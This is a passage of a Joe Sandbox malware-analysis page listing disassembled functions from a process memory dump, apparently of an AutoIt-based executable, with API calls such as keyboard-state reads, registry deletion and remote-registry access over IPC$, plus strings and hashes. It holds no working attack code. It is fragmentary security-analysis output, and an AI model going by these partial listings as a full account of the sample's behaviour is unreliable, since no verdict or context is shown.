Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: 9ce791be66b255f20b664ed96d02188ea400c0aa6850e23976d63df9a956c123
Instruction ID: 4b09bec1805f56015a79183c4c2ff7c88d6124fe231a6e9e81ba8dd5ad769c7b
Opcode Fuzzy Hash: 9ce791be66b255f20b664ed96d02188ea400c0aa6850e23976d63df9a956c123
Instruction Fuzzy Hash: BA91A271204606EFE715DF28C884BAAF7ECFF84310F00851AFAD9DA150DB34A945CB91

Function 01034954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 01034994
GetWindowTextW.USER32(?,?,00000400), ref: 010349DA
_wcslen.LIBCMT ref: 010349EB
CharUpperBuffW.USER32(?,00000000), ref: 010349F7
_wcsstr.LIBVCRUNTIME ref: 01034A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 01034A64
GetWindowTextW.USER32(?,?,00000400), ref: 01034A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 01034AE6
GetClassNameW.USER32(?,?,00000400), ref: 01034B20
GetWindowRect.USER32(?,?), ref: 01034B8B

Strings

ThumbnailClass, xrefs: 01034A6F, 01034AF1

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: 907ff7ef1d06aaa36869c5c7fbe512c484ab155caa90cc8e81bc720c9b713c01
Instruction ID: fff677af2c5f0cf1fdda20fef021db7c635eb97b86451075a83163b9b47b721f
Opcode Fuzzy Hash: 907ff7ef1d06aaa36869c5c7fbe512c484ab155caa90cc8e81bc720c9b713c01
Instruction Fuzzy Hash: 1791B2311042099FEB59DE18C980BAA7BECFF84314F0484AAFEC5DA196DB34E945CB61

Function 01068D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00FE9BB2

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 01068D5A
GetFocus.USER32 ref: 01068D6A
GetDlgCtrlID.USER32(00000000), ref: 01068D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 01068E1D
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 01068ECF
GetMenuItemCount.USER32(?), ref: 01068EEC
GetMenuItemID.USER32(?,00000000), ref: 01068EFC
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 01068F2E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 01068F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 01068FA1

Strings

0, xrefs: 01068E9F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: 48355054df96f766639d31510ee8fba6d485d72f80b765afc43a8055fa820c04
Instruction ID: e9e788c4b57f2451623ec4c52b4be5b508bddce8571431903a5a18f5a4dcbc03
Opcode Fuzzy Hash: 48355054df96f766639d31510ee8fba6d485d72f80b765afc43a8055fa820c04
Instruction Fuzzy Hash: D4818D71508301ABE761CF18CC84AAB7BEDFB88354F04895AFAC597292D775D940CB61

Function 0103BF30 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(010A1990,000000FF,00000000,00000030), ref: 0103BFAC
SetMenuItemInfoW.USER32(010A1990,00000004,00000000,00000030), ref: 0103BFE1
Sleep.KERNEL32(000001F4), ref: 0103BFF3
GetMenuItemCount.USER32(?), ref: 0103C039
GetMenuItemID.USER32(?,00000000), ref: 0103C056
GetMenuItemID.USER32(?,-00000001), ref: 0103C082
GetMenuItemID.USER32(?,?), ref: 0103C0C9
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0103C10F
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0103C124
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0103C145

Strings

0, xrefs: 0103BF3D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: 0
API String ID: 1460738036-4108050209
Opcode ID: ee663138528dc58d8acca95dc08847e43573831719b5f058b3b72498ec3045de
Instruction ID: f5900bb14300f66f45d5599c9cd6d4bada708813ae02ef76099c8743be7cfad2
Opcode Fuzzy Hash: ee663138528dc58d8acca95dc08847e43573831719b5f058b3b72498ec3045de
Instruction Fuzzy Hash: AC61727150024AAFFF21CF58CA88AEEBBACEB86344F044056F991E3281C775A954DB60

Function 0103DC0E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 0103DC20
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 0103DC46
_wcslen.LIBCMT ref: 0103DC50
_wcsstr.LIBVCRUNTIME ref: 0103DCA0
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 0103DCBC

Strings

04090000, xrefs: 0103DCF2
DefaultLangCodepage, xrefs: 0103DD1F
\VarFileInfo\Translation, xrefs: 0103DCB4
%u.%u.%u.%u, xrefs: 0103DD9A
StringFileInfo\, xrefs: 0103DC8F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: 26118c599370e9fac9239a48dd76d438da1ab7254dd83fee9adc12b1f98b168d
Instruction ID: 2d1596356a7f6f45bfd0dfdfb28c46424f9451b0c1b4f8d886feb1f9413d8a64
Opcode Fuzzy Hash: 26118c599370e9fac9239a48dd76d438da1ab7254dd83fee9adc12b1f98b168d
Instruction Fuzzy Hash: F8414D729402057AEB15B775DC07EBF37ACEF42710F40006EFA80BA153EB799901A7A4

Function 0105CC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0105CC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 0105CC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0105CD48

Part of subcall function 0105CC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0105CCAA
Part of subcall function 0105CC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 0105CCBD
Part of subcall function 0105CC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0105CCCF
Part of subcall function 0105CC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0105CD05
Part of subcall function 0105CC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0105CD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 0105CCF3

Strings

RegDeleteKeyExW, xrefs: 0105CCC9
advapi32.dll, xrefs: 0105CCB8

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 69cb81728a295e0f50b27ee51d6f368a22280173c442c3e26add7315b30d1251
Instruction ID: f5e96165b0138220b36fd5be6cf96240fc96f36f4a1a2f70d5875dbaea50a758
Opcode Fuzzy Hash: 69cb81728a295e0f50b27ee51d6f368a22280173c442c3e26add7315b30d1251
Instruction Fuzzy Hash: 0B318071901229BBFB719A95DD88EFFBFBCEF06640F0001A5F981E6104D6749A459BB0

Function 01043D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 01043D40
_wcslen.LIBCMT ref: 01043D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 01043D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 01043DBE
RemoveDirectoryW.KERNEL32(?), ref: 01043DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 01043E55
CloseHandle.KERNEL32(00000000), ref: 01043E60
CloseHandle.KERNEL32(00000000), ref: 01043E6B

Strings

\??\%s, xrefs: 01043D5B
\, xrefs: 01043D77
:, xrefs: 01043D82

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: 6be8108e2e1807ccd1d898f9c52942e9bfab2cd62c7548e236327033b083f11b
Instruction ID: b4515ca8d423a0e003af067910e4bb8a3bdef0fc4e2020f934110745a3045348
Opcode Fuzzy Hash: 6be8108e2e1807ccd1d898f9c52942e9bfab2cd62c7548e236327033b083f11b
Instruction Fuzzy Hash: 3031B6B150011AABEB21ABA4DC85FEF37BDFF89700F1040B5F689D6064E77493448B24

Function 0103E6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0103E6B4

Part of subcall function 00FEE551: timeGetTime.WINMM(?,?,0103E6D4), ref: 00FEE555

Sleep.KERNEL32(0000000A), ref: 0103E6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 0103E705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 0103E727
SetActiveWindow.USER32 ref: 0103E746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 0103E754
SendMessageW.USER32(00000010,00000000,00000000), ref: 0103E773
Sleep.KERNEL32(000000FA), ref: 0103E77E
IsWindow.USER32 ref: 0103E78A
EndDialog.USER32(00000000), ref: 0103E79B

Strings

BUTTON, xrefs: 0103E719

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 159acb4b7854506dc50eb0f415f04db544434a07a6e4dab3a7499d643ed290df
Instruction ID: 73bbbab3a8739232e80f8e073159035e43f0ed4a1ba82a423c30b190694cab99
Opcode Fuzzy Hash: 159acb4b7854506dc50eb0f415f04db544434a07a6e4dab3a7499d643ed290df
Instruction Fuzzy Hash: CE21C670240601AFFB315F24EDD8A293B6DF788348F400635F5D182655DBBBAC109B24

Function 0103E9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0103EA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0103EA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0103EA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0103EA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0103EAA7

Strings

alias PlayMe, xrefs: 0103EA36
status PlayMe mode, xrefs: 0103EA58
close PlayMe, xrefs: 0103EA6E, 0103EA9B
play PlayMe wait, xrefs: 0103EA91
play PlayMe, xrefs: 0103EAA2
open , xrefs: 0103EA0C

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: 4cff909ac196c2cbf192a9652b25c6a7185f2ce3b4745350f81234447c2ddf0f
Instruction ID: 7e8d7395fed4943e46cf1b3aa92c6e7f52fc4df30f901876d61543b22529a505
Opcode Fuzzy Hash: 4cff909ac196c2cbf192a9652b25c6a7185f2ce3b4745350f81234447c2ddf0f
Instruction Fuzzy Hash: D1110630A5026979EB20A3A6DC5AEFF7ABCEFC1F00F04052AB441A60D0EEB11905D5B0

Function 01039F91 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 0103A012
SetKeyboardState.USER32(?), ref: 0103A07D
GetAsyncKeyState.USER32(000000A0), ref: 0103A09D
GetKeyState.USER32(000000A0), ref: 0103A0B4
GetAsyncKeyState.USER32(000000A1), ref: 0103A0E3
GetKeyState.USER32(000000A1), ref: 0103A0F4
GetAsyncKeyState.USER32(00000011), ref: 0103A120
GetKeyState.USER32(00000011), ref: 0103A12E
GetAsyncKeyState.USER32(00000012), ref: 0103A157
GetKeyState.USER32(00000012), ref: 0103A165
GetAsyncKeyState.USER32(0000005B), ref: 0103A18E
GetKeyState.USER32(0000005B), ref: 0103A19C

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: f46ad59824ee27472bd6269d10553614b82c6995f4865de0dd54db6119434ab8
Instruction ID: 6f6405642420ca88e9e9eb13507997e2d0f81493c4ef27a44275e2f93702c818
Opcode Fuzzy Hash: f46ad59824ee27472bd6269d10553614b82c6995f4865de0dd54db6119434ab8
Instruction Fuzzy Hash: 8751F830B0478869FB75EBA485147EABFFC9F92384F0885CDD6C2971C2DA94A64CC761

Function 01035CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 01035CE2
GetWindowRect.USER32(00000000,?), ref: 01035CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 01035D59
GetDlgItem.USER32(?,00000002), ref: 01035D69
GetWindowRect.USER32(00000000,?), ref: 01035D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 01035DCF
GetDlgItem.USER32(?,000003E9), ref: 01035DDD
GetWindowRect.USER32(00000000,?), ref: 01035DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 01035E31
GetDlgItem.USER32(?,000003EA), ref: 01035E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 01035E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 01035E67

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 7d1e1dbac669655208b6e01807b80330de2b54028122d9333ed32c726d59d58a
Instruction ID: ab1fdaeb50aac960dffe0fcc62d6c3248a261345997e642c7c37925b21d4314d
Opcode Fuzzy Hash: 7d1e1dbac669655208b6e01807b80330de2b54028122d9333ed32c726d59d58a
Instruction Fuzzy Hash: C3510FB1B00205AFDB18DF68DD89AAE7BF9FB88301F548129F555E7294D774AE00CB60

Function 00FE8BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00FE8BE8,?,00000000,?,?,?,?,00FE8BBA,00000000,?), ref: 00FE8FC5

DestroyWindow.USER32(?), ref: 00FE8C81
KillTimer.USER32(00000000,?,?,?,?,00FE8BBA,00000000,?), ref: 00FE8D1B
DestroyAcceleratorTable.USER32(00000000), ref: 01026973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00FE8BBA,00000000,?), ref: 010269A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00FE8BBA,00000000,?), ref: 010269B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00FE8BBA,00000000), ref: 010269D4
DeleteObject.GDI32(00000000), ref: 010269E6

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 770f3c135e2d4c3e10bd5506ac6aaa519b7bd814e30be99fa2328159bd5360a4
Instruction ID: 46a70a4684300cc1d7daed2a75ef3594b895eb91c482c81359e4d08613c4299e
Opcode Fuzzy Hash: 770f3c135e2d4c3e10bd5506ac6aaa519b7bd814e30be99fa2328159bd5360a4
Instruction Fuzzy Hash: F2610131502A90DFDB32AF1ACA08B2577F1FB41352F60451DE4C687564CB3BA882EF90

Function 00FE9838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00FE9944: GetWindowLongW.USER32(?,000000EB), ref: 00FE9952

GetSysColor.USER32(0000000F), ref: 00FE9862

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 67442add0da4ff573bc5dfaf1b248eca4855983e9acce0545cb9f1a310be6bf4
Instruction ID: b71d5038156ed4ebeb2425349f0a8477bed2b3f7ea6b168712c6d8d68790a3ba
Opcode Fuzzy Hash: 67442add0da4ff573bc5dfaf1b248eca4855983e9acce0545cb9f1a310be6bf4
Instruction Fuzzy Hash: D7412231504690EFEB305F399884BB93BA5EB06330F544205FAE28B2F5C3B58941EB22

Function 010396E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,0101F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 01039717
LoadStringW.USER32(00000000,?,0101F7F8,00000001), ref: 01039720

Part of subcall function 00FD9CB3: _wcslen.LIBCMT ref: 00FD9CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,0101F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 01039742
LoadStringW.USER32(00000000,?,0101F7F8,00000001), ref: 01039745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 01039866

Strings

%s (%d) : ==> %s: %s %s, xrefs: 0103984A
Error: , xrefs: 0103981D
Line %d:, xrefs: 010397A0
Line %d (File "%s"):, xrefs: 0103978F
^ ERROR, xrefs: 010397FB

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 28e1f637e6b07b02fe31f63d826a20bbabec22bcd3b30c8c7a8ac43a4835182a
Instruction ID: 3e492ba19b259f37995f14b3e69e0e58ef3a98f69a4a43a14ed997b2b4e59dd6
Opcode Fuzzy Hash: 28e1f637e6b07b02fe31f63d826a20bbabec22bcd3b30c8c7a8ac43a4835182a
Instruction Fuzzy Hash: 42418E7290420AAADF04FBE0DE92DEE777EAF54344F540026F24172191EB796F48EB61

Function 010306DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD6B57: _wcslen.LIBCMT ref: 00FD6B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 010307A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 010307BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 010307DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 01030804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 0103082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 01030837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0103083C

Strings

\CLSID, xrefs: 01030724
\IPC$, xrefs: 01030784
